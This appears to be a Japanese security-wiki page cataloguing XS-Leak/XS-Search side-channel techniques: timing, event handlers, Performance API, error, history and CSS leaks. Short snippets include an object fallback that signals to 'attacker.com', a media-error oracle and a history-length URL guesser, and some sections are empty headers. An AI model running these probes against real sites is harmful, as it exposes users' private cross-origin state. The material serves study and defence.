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XS-Search/XS-Leaks

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基本情報

XS-Searchは、サイドチャネルの脆弱性を利用してクロスオリジン情報を抽出するための手法です。

この攻撃に関与する主要なコンポーネントは次のとおりです：

  • 脆弱なWeb: 情報を抽出する対象のウェブサイト。
  • 攻撃者のWeb: 攻撃者が作成した悪意のあるウェブサイトで、被害者が訪れ、攻撃をホストする。
  • インクルージョンメソッド: 脆弱なWebを攻撃者のWebに組み込むために使用される技術（例：window.open、iframe、fetch、hrefを持つHTMLタグなど）。
  • リーク技術: インクルージョンメソッドを通じて収集された情報に基づいて脆弱なWebの状態の違いを識別するために使用される技術。
  • 状態: 攻撃者が区別しようとする脆弱なWebの2つの潜在的な状態。
  • 検出可能な違い: 攻撃者が脆弱なWebの状態を推測するために依存する観察可能な変化。

検出可能な違い

脆弱なWebの状態を区別するためにいくつかの側面が分析される可能性があります：

  • ステータスコード: クロスオリジンでさまざまなHTTP応答ステータスコードを区別することができます。サーバーエラー、クライアントエラー、認証エラーなど。
  • APIの使用: ページ間でWeb APIの使用を特定し、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを明らかにします。
  • リダイレクト: HTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされる異なるページへのナビゲーションを検出します。
  • ページコンテンツ: HTTP応答本体やページのサブリソース（埋め込まれたフレームの数や画像のサイズの違いなど）の変化を観察します。
  • HTTPヘッダー: 特定のHTTP応答ヘッダー（X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなど）の存在または値を認識します。
  • タイミング: 2つの状態間で一貫した時間の違いに気付きます。

インクルージョンメソッド

  • HTML要素: HTMLは、スタイルシート、画像、スクリプトなど、クロスオリジンリソースのインクルージョンに使用できるさまざまな要素を提供します。この目的のために潜在的なHTML要素のコンパイルはhttps://github.com/cure53/HTTPLeaksで見つけることができます。
  • フレーム: iframe、object、embedなどの要素は、HTMLリソースを攻撃者のページに直接埋め込むことができます。ページにフレーミング保護がない場合、JavaScriptはcontentWindowプロパティを介してフレーム化されたリソースのwindowオブジェクトにアクセスできます。
  • ポップアップ: **window.open**メソッドは、新しいタブやウィンドウでリソースを開き、JavaScriptがSOPに従ってメソッドやプロパティとやり取りできるウィンドウハンドルを提供します。シングルサインオンでよく使用されるポップアップは、対象リソースのフレーミングやクッキー制限を回避します。ただし、現代のブラウザはポップアップの作成を特定のユーザーアクションに制限しています。
  • JavaScriptリクエスト: JavaScriptは、XMLHttpRequestやFetch APIを使用して対象リソースに直接リクエストを行うことができます。これらのメソッドは、HTTPリダイレクトのフォローアップなど、リクエストに対する正確な制御を提供します。

リーク技術

  • イベントハンドラ: XS-Leaksの古典的なリーク技術で、onloadやonerrorなどのイベントハンドラが、リソースの読み込みの成功または失敗に関する洞察を提供します。
  • エラーメッセージ: JavaScriptの例外や特別なエラーページは、エラーメッセージ自体から直接リーク情報を提供するか、その存在と不在の違いを区別することによってリーク情報を提供することができます。
  • グローバル制限: ブラウザの物理的制限（メモリ容量など）や他の強制されたブラウザの制限は、しきい値に達したときに信号を送ることができ、リーク技術として機能します。
  • グローバルステート: ブラウザのグローバルステート（履歴インターフェースなど）との検出可能な相互作用を悪用することができます。たとえば、ブラウザの履歴に含まれるエントリの数は、クロスオリジンページについての手がかりを提供する可能性があります。
  • Performance API: このAPIは、現在のページのパフォーマンスの詳細を提供し、ドキュメントや読み込まれたリソースのネットワークタイミングを含み、リクエストされたリソースについての推論を可能にします。
  • 読み取り可能な属性: 一部のHTML属性はクロスオリジンで読み取り可能であり、リーク技術として使用できます。たとえば、window.frame.lengthプロパティは、クロスオリジンのウェブページに含まれるフレームの数をJavaScriptで数えることができます。

XSinatorツール＆論文

XSinatorは、その論文で説明されているいくつかの既知のXS-Leaksに対してブラウザをチェックする自動ツールです：https://xsinator.com/paper.pdf

ツールにはhttps://xsinator.com/からアクセスできます。

{% hint style="warning" %} 除外されたXS-Leaks: 他のXSinatorのリークと干渉する可能性があるため、サービスワーカーに依存するXS-Leaksを除外する必要がありました。さらに、特定のWebアプリケーションのミス構成やバグに依存するXS-Leaksを除外することにしました。たとえば、Cross-Origin Resource Sharing（CORS）の誤構成、postMessageの漏洩、Cross-Site Scriptingなど。さらに、時間ベースのXS-Leaksは、遅延が発生しやすく、ノイズが多く、正確性に欠けるため、除外しました。 {% endhint %}

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タイミングベースのテクニック

以下のいくつかのテクニックは、ウェブページの可能な状態の違いを検出するプロセスの一部としてタイミングを使用します。ウェブブラウザで時間を測定する方法にはさまざまなものがあります。

クロック: performance.now() APIを使用すると、高解像度のタイミング測定を取得できます。
攻撃者が暗黙のクロックを作成するために悪用できるAPIはかなり多くあります: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSSアニメーションなど。
詳細はこちら: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

イベントハンドラテクニック

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

コード例では、JSからスクリプトオブジェクトをロードしようとしますが、オブジェクト、スタイルシート、画像、オーディオなどの他のタグも使用できます。さらに、タグを直接挿入して、タグ内でonloadとonerrorイベントを宣言することも可能です（JSから挿入するのではなく）。

この攻撃のスクリプトレスバージョンもあります。

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

このテクニックは前のものと同様ですが、attackerはpositiveまたはnegativeの回答時に関連する時間を強制的にかかるようにし、その時間を測定します。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

リソースを取得するのにかかる時間は、unloadとbeforeunload イベントを利用して測定できます。beforeunload イベントはブラウザが新しいページに移動しようとしているときに発生し、unload イベントは実際の移動が行われているときに発生します。これら2つのイベントの時間差を計算することで、ブラウザがリソースを取得するのに費やした時間を判断できます。

Sandboxed Frame Timing + onload

Framing Protectionsがない場合、ページとそのサブリソースがネットワーク上で読み込まれるのにかかる時間を攻撃者が測定できることが観察されています。これは通常、iframeのonloadハンドラがリソースの読み込みとJavaScriptの実行が完了した後にのみトリガーされるため可能です。スクリプトの実行によって導入される変動をバイパスするために、攻撃者は<iframe>内でsandbox属性を使用することがあります。この属性の追加により、JavaScriptの実行を含む多くの機能が制限され、主にネットワークパフォーマンスに影響を受ける測定が容易になります。

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + エラー + onload

  • Inclusion Methods: フレーム
  • Detectable Difference: ページコンテンツ
  • More info:
  • Summary: 正しいコンテンツにアクセスしたときにページにエラーを発生させ、任意のコンテンツにアクセスしたときに正しく読み込まれるようにすると、時間を計測せずにすべての情報を抽出するループを作成できます。
  • Code Example:

ページに秘密のコンテンツを挿入できると仮定します。

被害者に、CSRFを悪用してIframe内の「flag」を含むファイルを検索させることができます。Iframe内では、onload イベント が常に少なくとも1回実行されることがわかります。その後、URLのハッシュ内のコンテンツだけを変更して、IframeのURLを変更できます。

例:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

最初のURLが正常に読み込まれた場合、URLのハッシュ部分を変更してもonload イベントは再度トリガーされません。しかし、ページが読み込まれる際に何らかのエラーがある場合、onload イベントは再度トリガーされます。

そのため、正しく読み込まれたページとアクセス時にエラーがあるページを区別できます。

Javascriptの実行

  • Inclusion Methods: フレーム
  • Detectable Difference: ページコンテンツ
  • More info:
  • Summary: もしページが機密情報を返すか、ユーザーによって制御可能なコンテンツを返す場合、ユーザーは負の場合に有効なJSコードを設定し、各試行を**<script>** タグ内でロードできます。そのため、負の場合は攻撃者のコードが実行され、肯定的な場合は何も実行されません。
  • Code Example:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: HTML要素
  • Detectable Difference: ステータスコード＆ヘッダー
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) は、Spectreなどの攻撃から保護するために、特定の機密性の高いクロスオリジンリソースの読み込みを防ぐセキュリティ対策です。しかし、攻撃者はその保護機能を悪用できます。CORBに従う応答が、nosniff と 2xx ステータスコードを持つ CORB保護 Content-Type を返す場合、CORB は応答の本文とヘッダーを削除します。これを観察する攻撃者は、ステータスコード（成功またはエラーを示す）と Content-Type（CORB によって保護されているかどうかを示す）の組み合わせを推測し、潜在的な情報漏洩を引き起こすことができます。
  • Code Example:

攻撃に関する詳細情報については、リンクをチェックしてください。

onblur

iframe内にページをロードし、#id_value を使用して、iframe内の要素にフォーカスを当てることができます。その後、onblur シグナルがトリガーされると、ID要素が存在します。
portal タグでも同じ攻撃を実行できます。

postMessage Broadcasts

  • Inclusion Methods: フレーム、ポップアップ
  • Detectable Difference: APIの使用
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: postMessageから機密情報を収集するか、postMessagesの存在をオラクルとして使用してユーザーのページ内の状態を知ることができます。
  • Code Example: すべてのpostMessageをリッスンするコード。

アプリケーションは頻繁に異なるオリジン間で通信するためにpostMessage ブロードキャスト を利用します。ただし、targetOrigin パラメータが適切に指定されていない場合、この方法は機密情報を誤って公開する可能性があります。さらに、メッセージを受信するだけでもオラクルとして機能することがあります。たとえば、特定のメッセージはログインしているユーザーにのみ送信される場合があります。そのため、これらのメッセージの存在または不在により、ユーザーの状態やアイデンティティに関する情報が漏洩する可能性があります。

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グローバル制限技術

WebSocket API

ターゲットページが使用しているWebSocket接続の数を特定できます。これにより、攻撃者はアプリケーションの状態を検出し、WebSocket接続の数に関連する情報を漏洩させることができます。

1つのオリジンがWebSocket接続の最大数を使用している場合、その接続の状態に関係なく、新しいオブジェクトの作成はJavaScript例外を引き起こします。この攻撃を実行するには、攻撃者のウェブサイトがポップアップまたはiframe内でターゲットウェブサイトを開き、その後、ターゲットウェブが読み込まれた後、可能な限り多くのWebSocket接続を作成しようとします。スローされた例外の数が、ターゲットウェブサイトウィンドウが使用しているWebSocket接続の数です。

Payment API

このXS-Leakは、クロスオリジンページが支払いリクエストを開始したときを検出することを可能にします。

1つの支払いリクエストのみがアクティブであるため、対象のウェブサイトが支払いリクエストAPIを使用している場合、このAPIを使用しようとする追加の試みは失敗し、JavaScript例外が発生します。攻撃者は、定期的に支払いAPI UIを表示しようとすることでこれを悪用することができます。1つの試みが例外を引き起こす場合、対象のウェブサイトが現在それを使用していることがわかります。攻撃者は、UIを作成した直後にすぐに閉じることで、これらの定期的な試みを隠すことができます。

イベントループのタイミング

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScriptは、シングルスレッドのイベントループ並行モデルで動作するため、1度に1つのタスクしか実行できないことを意味します。この特性を悪用して、異なるオリジンのコードが実行されるのにかかる時間を測定することができます。攻撃者は、固定されたプロパティを持つイベントを連続してディスパッチすることで、自分自身のコードの実行時間をイベントループで測定できます。これらのイベントは、イベントプールが空のときに処理されます。他のオリジンも同じプールにイベントをディスパッチしている場合、攻撃者は自分自身のタスクの実行に遅延が生じることで、外部イベントの実行にかかる時間を推測することができます。この遅延を監視することで、異なるオリジンのコードの実行時間を明らかにし、機密情報を暴露する可能性があります。

{% hint style="warning" %} 実行時間の測定では、ネットワーク要因を排除してより正確な測定を得ることができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで。 {% endhint %}

イベントループのビジー

  • Inclusion Methods:
  • Detectable Difference: タイミング（通常はページコンテンツ、ステータスコードによる）
  • 詳細: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • 概要: ウェブ操作の実行時間を測定する1つの方法は、スレッドのイベントループを意図的にブロックし、その後、イベントループが再度利用可能になるまでの時間を計時することです。イベントループにブロッキング操作（長時間の計算や同期API呼び出しなど）を挿入し、その後のコードの実行が開始されるまでの時間を監視することで、ブロッキング期間中にイベントループで実行されていたタスクの期間を推測できます。この技術は、JavaScriptのイベントループのシングルスレッド性を活用し、タスクが順次実行されるため、同じスレッドを共有する他の操作のパフォーマンスや動作に関する洞察を提供できます。
  • コード例:

イベントループをロックして実行時間を測定する技術の重要な利点の1つは、Site Isolationを回避できる可能性です。Site Isolationは、異なるウェブサイトを別々のプロセスに分離し、悪意のあるサイトが他のサイトから直接機密データにアクセスするのを防ぐことを目的とするセキュリティ機能です。しかし、共有イベントループを介して他のオリジンの実行時間に影響を与えることで、攻撃者はそのオリジンの活動に関する情報を間接的に抽出できます。この方法は、他のオリジンのデータに直接アクセスするのではなく、そのオリジンの活動が共有イベントループに与える影響を観察することに依存しており、Site Isolationによって確立された保護バリアを回避します。

{% hint style="warning" %} 実行時間の測定では、ネットワーク要因を排除してより正確な測定を得ることができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで。 {% endhint %}

接続プール

  • Inclusion Methods: JavaScriptリクエスト
  • Detectable Difference: タイミング（通常はページコンテンツ、ステータスコードによる）
  • 詳細: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • 概要: 攻撃者は、1つのソケットを除いてすべてのソケットをロックし、対象のウェブを読み込み、同時に別のページを読み込むことで、最後のページが読み込みを開始するまでの時間が対象ページの読み込みにかかった時間です。
  • コード例:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

ブラウザはサーバーとの通信にソケットを使用しますが、オペレーティングシステムとハードウェアのリソースが限られているため、ブラウザは同時ソケットの数に制限を課す必要があります。攻撃者は、次の手順を通じてこの制限を悪用できます：

  1. ブラウザのソケット制限を確認します。たとえば、256個のグローバルソケット。
  2. 異なるホストに255のリクエストを開始して、接続を完了せずに接続を維持するように設計された255のソケットを長時間占有します。
  3. 256番目のソケットを使用して、対象ページにリクエストを送信します。
  4. 別のホストに257番目のリクエストを試みます。すべてのソケットが使用中であるため（手順2および3に従って）、このリクエストはソケットが利用可能になるまでキューに入れられます。このリクエストが進行するまでの遅延は、256番目のソケット（対象ページのソケット）に関連するネットワークアクティビティに関するタイミング情報を攻撃者に提供します。手順2で使用された255個のソケットが引き続き使用されているため、新しく利用可能になるソケットは手順3で解放されたものであると推測されます。したがって、256番目のソケットが利用可能になるまでにかかる時間は、対象ページへのリクエストの完了に必要な時間と直接関連しています。

詳細については: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

パフォーマンスAPIのテクニック

Performance API は、Webアプリケーションのパフォーマンスメトリクスに関する洞察を提供し、Resource Timing API によってさらに充実しています。Resource Timing API は、リクエストの詳細なネットワークタイミング（リクエストの期間など）の監視を可能にします。特に、サーバーが応答に Timing-Allow-Origin: * ヘッダーを含めると、転送サイズやドメイン検索時間などの追加データが利用可能になります。

この豊富なデータは、performance.getEntries や performance.getEntriesByName などのメソッドを介して取得でき、パフォーマンス関連情報の包括的なビューを提供します。さらに、API は、performance.now() から取得したタイムスタンプの差を計算することで、実行時間の測定を容易にします。ただし、Chrome などの一部のブラウザでは、performance.now() の精度がミリ秒に制限される場合があり、タイミング測定の粒度に影響を与える可能性があります。

タイミング測定を超えて、Performance API はセキュリティ関連の洞察を得るために活用できます。たとえば、Chrome の performance オブジェクトにページが存在するかどうかは、X-Frame-Options の適用を示すことができます。具体的には、X-Frame-Options によってフレーム内でのレンダリングがブロックされる場合、そのページは performance オブジェクトに記録されず、ページのフレーミングポリシーについて微妙な手がかりを提供します。

エラーリーク

エラーが発生するリクエストはパフォーマンスエントリを作成しませんので、HTTPレスポンスステータスコードを区別することが可能です。

スタイルリロードエラー

前述のテクニックでは、GCのブラウザバグにより、読み込みに失敗したリソースが2回読み込まれると特定されました。これにより、パフォーマンスAPIに複数のエントリが生成され、それによって検出が可能です。

リクエストマージエラー

このテクニックは、言及された論文の表に見つかりましたが、そのテクニックの説明は見つかりませんでした。ただし、https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak でそれをチェックするソースコードを見つけることができます。

空のページリーク

攻撃者は、一部のブラウザでは空のページはパフォーマンスエントリを作成しないため、リクエストが空のHTTP応答本文に結果があったかどうかを検出できます。

XSSオーディターリーク

  • 含まれる方法: フレーム
  • 検出可能な違い: ページコンテンツ
  • 詳細情報: https://xsinator.com/paper.pdf (5.2)
  • 概要: セキュリティアサーションのXSSオーディターを使用することで、攻撃者は、クラフトされたペイロードがオーディターのフィルタリングメカニズムをトリガーしたときに応答の変更を観察することで、特定のWebページ要素を検出できます。
  • コード例: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

セキュリティアサーション（SA）では、元々クロスサイトスクリプティング（XSS）攻撃を防ぐために設計されたXSSオーディターが、偶発的に正当なスクリプトをブロックする可能性があり、誤検知を引き起こすことが示されました。これを踏まえて、研究者たちは、XS-Leaksとして知られる概念で、クロスオリジンページ上の情報を抽出し、特定のコンテンツを検出するための技術を開発しました。これらの技術は、GCのXSSオーディターに特有であったが、SAでは、XSSオーディターによってブロックされたページはパフォーマンスAPIにエントリを生成しないことが発見され、敏感な情報が依然として漏洩する手段が明らかになりました。

X-Frameリーク

ページがiframeでレンダリングされることが許可されていない場合、パフォーマンスエントリを作成しません。その結果、攻撃者は応答ヘッダー X-Frame-Options を検出できます。
同様に、embed タグを使用した場合も同様です。

ダウンロード検出

XS-Leakに記載されているように、ContentDispositionヘッダーによってダウンロードされるリソースもパフォーマンスエントリを作成しません。このテクニックは、すべての主要なブラウザで機能します。

リダイレクト開始リーク

一部のブラウザの挙動を悪用するXS-Leakインスタンスを見つけました。標準では、クロスオリジンのリクエストに対して一部の属性がゼロに設定されるべきと定義されています。しかし、SAでは、Performance APIをクエリし、redirectStartタイミングデータをチェックすることで、ユーザーがリダイレクトされたかどうかを検出することが可能です。

リダイレクトの期間リーク

GCでは、リダイレクトが発生するリクエストの期間が負になり、そのためリダイレクトが発生しないリクエストと区別することができます。

CORPリーク

一部のケースでは、nextHopProtocolエントリをリーク手法として使用できます。GCでは、CORPヘッダーが設定されていると、nextHopProtocolは空になります。CORP対応リソースに対しては、SAはパフォーマンスエントリを一切作成しません。

サービスワーカー

サービスワーカーは、オリジンで実行されるイベント駆動型のスクリプトコンテキストです。Webページのバックグラウンドで実行され、リソースをインターセプト、変更、およびキャッシュしてオフラインWebアプリケーションを作成できます。
サービスワーカーによってキャッシュされたリソースがiframe経由でアクセスされると、リソースはサービスワーカーキャッシュから読み込まれます。
リソースがサービスワーカーキャッシュから読み込まれたかどうかを検出するには、Performance APIを使用できます。
これはタイミング攻撃でも行うことができます（詳細は論文を参照）。

キャッシュ

Performance APIを使用して、リソースがキャッシュされているかどうかを確認できます。

ネットワーク期間

エラーメッセージ技術

メディアエラー

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

CORS エラー

この技術は、Webkit ベースのブラウザが CORS リクエストを処理する方法を悪用することで、攻撃者が クロスオリジンサイトのリダイレクト先を抽出 することを可能にします。特に、CORS 有効なリクエスト がユーザーの状態に基づいてリダイレクトを発行するターゲットサイトに送信され、ブラウザがそのリクエストを拒否した場合、エラーメッセージ内に リダイレクトのターゲットの完全な URL が開示されます。この脆弱性は、リダイレクトの事実だけでなく、リダイレクトのエンドポイントとそれが含む可能性のある 機密クエリパラメータ も公開します。

SRI エラー

攻撃者は、冗長なエラーメッセージ を悪用して、クロスオリジンレスポンスのサイズを推測することができます。これは、Subresource Integrity（SRI）のメカニズムによるもので、CDN から頻繁に取得されるリソースが改ざんされていないことを検証するために整合性属性を使用します。SRI がクロスオリジンリソースで機能するためには、これらが CORS 有効 である必要があります。セキュリティアサーション（SA）では、CORS エラー XS-Leakと同様に、整合性属性が失敗した後にエラーメッセージをキャプチャすることができます。攻撃者は、任意のリクエストの整合性属性に 虚偽のハッシュ値 を割り当てることで、故意に このエラーをトリガー することができます。SA では、結果として得られるエラーメッセージが、リクエストされたリソースのコンテンツ長を誤って明らかにします。この情報漏洩により、攻撃者は応答サイズの変化を識別し、洗練された XS-Leak 攻撃の道を開くことができます。

CSP 違反/検出

XS-Leak は CSP を使用して、クロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出できます。このリークはリダイレクトを検出できますが、さらに、リダイレクト先のドメインも漏洩します。この攻撃の基本的なアイデアは、攻撃者サイトでターゲットドメインを許可 することです。ターゲットドメインにリクエストが送信されると、それが クロスオリジンドメインにリダイレクト します。CSP はそれへのアクセスを ブロック し、リークテクニックとして使用される 違反レポート を作成します。ブラウザによっては、このレポートがリダイレクトのターゲット位置を漏洩 する可能性があります。
現代のブラウザは、リダイレクト先の URL を示さないかもしれませんが、クロスオリジンリダイレクトがトリガーされたことは依然として検出できます。

キャッシュ

ブラウザはすべてのウェブサイトに共通のキャッシュを使用する可能性があります。その起源に関係なく、ターゲットページが 特定のファイルを要求したかどうか を推測することができます。

ページが画像を読み込むのはユーザーがログインしている場合のみである場合、リソースを無効に して（キャッシュされている場合はそれがなくなります、詳細情報リンクを参照）、そのリソースを読み込む可能性のあるリクエストを実行し、リソースを 不正なリクエストで読み込もうとします（たとえば、過剰なリファラーヘッダーを使用）。リソースの読み込みが エラーをトリガーしなかった場合、それは キャッシュされていた ためです。

CSP ディレクティブ

Google Chrome（GC）の新機能では、iframe 要素に属性を設定することで、ウェブページが Content Security Policy（CSP）を提案 できます。通常、埋め込まれたコンテンツは、HTTP リクエストと一緒にポリシーディレクティブを送信する必要があります。それを HTTP ヘッダー経由で許可 しない場合、 エラーページが表示されます。ただし、iframe が既に CSP によって管理されており、新しく提案されたポリシーがより制限的でない場合、ページは通常通り読み込まれます。このメカニズムにより、攻撃者はエラーページを特定することで、クロスオリジンページの 特定の CSP ディレクティブ を検出できます。この脆弱性は修正済みとされていましたが、私たちの調査結果は、エラーページを検出できる 新しいリーク技術 を明らかにし、根本的な問題が完全に解決されていなかった可能性を示唆しています。

CORP

CORB

攻撃に関する詳細はリンクをチェックしてください。

CORS error on Origin Reflection misconfiguration

もしOriginが反映されていないがワイルドカードが使用されている場合(Access-Control-Allow-Origin: *)、この攻撃は機能しません。

Readable Attributes Technique

Fetch Redirect

redirect: "manual"と他のパラメータを使用してFetch APIを使ってリクエストを送信すると、response.type属性を読み取り、その値がopaqueredirectであればリダイレクトされたことがわかります。

COOP

攻撃者は、クロスオリジンのHTTPレスポンスにCross-Origin Opener Policy (COOP)ヘッダーが存在することを推測することができます。COOPは、外部サイトが任意のウィンドウ参照を取得するのを防ぐためにWebアプリケーションによって使用されます。このヘッダーの可視性は、contentWindowリファレンスへのアクセスを試みることで判断できます。COOPが条件付きで適用される場合、openerプロパティは明確な指標となります：COOPが有効な場合は未定義であり、それが無い場合は定義されています。

URL Max Length - Server Side

サーバーサイドのリダイレクトがリダイレクト内でユーザー入力を使用している場合や追加データがある場合、通常サーバーにはリクエスト長の制限があります。ユーザーデータがその長さ-1である場合、リダイレクトがそのデータを使用して何かを追加しているため、エラーが発生し、エラーイベントを介して検出できます。

ユーザーにクッキーを設定できる場合、十分なクッキーを設定することによってこの攻撃を実行することもできます（cookie bomb）。したがって、正しい応答のサイズが増加するとエラーが発生します。この場合、同じサイトからこのリクエストをトリガーすると、<script>が自動的にクッキーを送信するため（エラーを確認できます）。
この攻撃の例とcookie bomb + XS-Searchの例は、次の解決策にあります：https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

この種の攻撃には通常、SameSite=Noneまたは同じコンテキストにいる必要があります。

URL Max Length - Client Side

Chromiumのドキュメントによると、Chromeの最大URL長は2MBです。

一般的に、_webプラットフォーム_にはURLの長さに制限がありません（ただし、2^31が一般的な制限です）。_Chrome_は、実用上の理由およびプロセス間通信におけるサービス拒否攻撃を回避するために、URLの長さを最大2MBに制限しています。

したがって、リダイレクトURLの応答が1つのケースで大きい場合、2MBを超えるURLでリダイレクトすることで長さ制限に達する可能性があります。これが発生すると、Chromeは**about:blank#blocked**ページを表示します。

目立つ違いは、リダイレクトが完了した場合、window.originがエラーをスローすることです。ただし、制限が達成され、読み込まれたページが**about:blank#blockedである場合、ウィンドウのoriginは親のもののままであり、これはアクセス可能な情報**です。

2MBに到達するために必要なすべての追加情報は、初期URLのハッシュを使用して追加できるため、リダイレクトで使用されます。

最大リダイレクト数

もしブラウザの最大リダイレクト数が20である場合、攻撃者は自身のページを19回リダイレクトし、最終的に被害者をテストされたページに送ることができます。エラーが発生した場合、ページは被害者をリダイレクトしようとしていたことがわかります。

履歴の長さ

History API はJavaScriptコードがブラウザの履歴を操作することを可能にし、ユーザーが訪れたページを保存します。攻撃者は、lengthプロパティを組み込み方法として使用してJavaScriptとHTMLのナビゲーションを検出できます。
history.length をチェックし、ユーザーにページを移動させ、同一オリジンに戻し、history.length の新しい値を確認します。

同じURLの履歴の長さ

  • 組み込み方法: Frames、ポップアップ
  • 検出可能な違い: 推測したURLと同じかどうか
  • 要約: 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測することが可能です。
  • コード例: 下記

攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を推測したURLに変更し、すぐに about:blank に変更することができます。履歴の長さが増加した場合、URLが正しかったことを推測し、URLが同じ場合は再読み込みされないため、履歴の長さが増加する時間があったことを意味します。増加しなかった場合、推測したURLを読み込もうとしましたが、すぐに about:blank を読み込んだため、推測したURLを読み込む際に履歴の長さが増加しなかったことを意味します。

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

フレームカウント

Web ページ内の iframe や window.open を通じて フレームの数を数えることは、ユーザーのそのページ上の状態を特定するのに役立つかもしれません。
さらに、ページに常に同じ数のフレームがある場合、フレームの数を 継続的に チェックすることで、情報を漏洩させる可能性がある パターン を特定するのに役立つかもしれません。

この技術の例として、Chrome では embed が内部で使用されるため、 PDF を フレームカウント で 検出 できます。 zoom、view、page、toolbar などの Open URL Parameters があり、これらの技術が興味深いかもしれません。

HTMLElements

HTML 要素を通じての情報漏洩は、特に動的メディアファイルがユーザー情報に基づいて生成される場合や、ウォーターマークが追加されてメディアサイズが変更される場合に、Web セキュリティ上の懸念です。これは、特定の HTML 要素が露出する情報を分析することで、攻撃者が可能な状態を区別するために悪用することができます。

HTML 要素によって露出される情報

  • HTMLMediaElement: この要素はメディアの duration と buffered 時間を公開し、その API を介してアクセスできます。 HTMLMediaElement の詳細
  • HTMLVideoElement: videoHeight と videoWidth を公開します。一部のブラウザでは、webkitVideoDecodedByteCount、webkitAudioDecodedByteCount、webkitDecodedFrameCount などの追加のプロパティが利用可能であり、メディアコンテンツに関する詳細な情報を提供します。 HTMLVideoElement の詳細
  • getVideoPlaybackQuality(): この関数は、totalVideoFrames を含むビデオ再生品質に関する詳細を提供し、処理されたビデオデータの量を示すことができます。 getVideoPlaybackQuality() の詳細
  • HTMLImageElement: この要素は画像の height と width を漏洩します。ただし、画像が無効な場合、これらのプロパティは 0 を返し、image.decode() 関数は拒否され、画像の読み込みに失敗したことを示します。 HTMLImageElement の詳細

CSS プロパティ

Web アプリケーションは、ユーザーの状態に応じてウェブサイトのスタイリングを変更する場合があります。クロスオリジン CSS ファイルは、攻撃者ページに HTML link 要素 で埋め込むことができ、その ルール が攻撃者ページに 適用 されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの 違い を 検出 することができます。
情報漏洩技術として、攻撃者は window.getComputedStyle メソッドを使用して特定の HTML 要素の CSS プロパティを 読み取ることができます。その結果、影響を受ける要素とプロパティ名がわかっていれば、攻撃者は任意の CSS プロパティを読み取ることができます。

CSS 履歴

{% hint style="info" %} こちら によると、ヘッドレス Chrome では機能しないそうです。 {% endhint %}

CSS の :visited セレクタは、ユーザーが以前に訪れた URL を異なるスタイルで表示するために使用されます。過去には、getComputedStyle() メソッドを使用してこれらのスタイルの違いを特定することができました。しかし、現代のブラウザは、このメソッドがリンクの状態を明らかにするのを防ぐためのセキュリティ対策を実装しています。これらの対策には、常にリンクが訪れたときの計算されたスタイルを返すようにし、:visited セレクタで適用できるスタイルを制限することが含まれます。

これらの制限にもかかわらず、リンクの訪問状態を間接的に識別することが可能です。ユーザーに CSS に影響を受ける領域とやり取りさせることを含む、具体的には mix-blend-mode プロパティを使用するテクニックがあります。このプロパティは、要素を背景と混合することを可能にし、ユーザーの操作に基づいて訪問状態を明らかにする可能性があります。

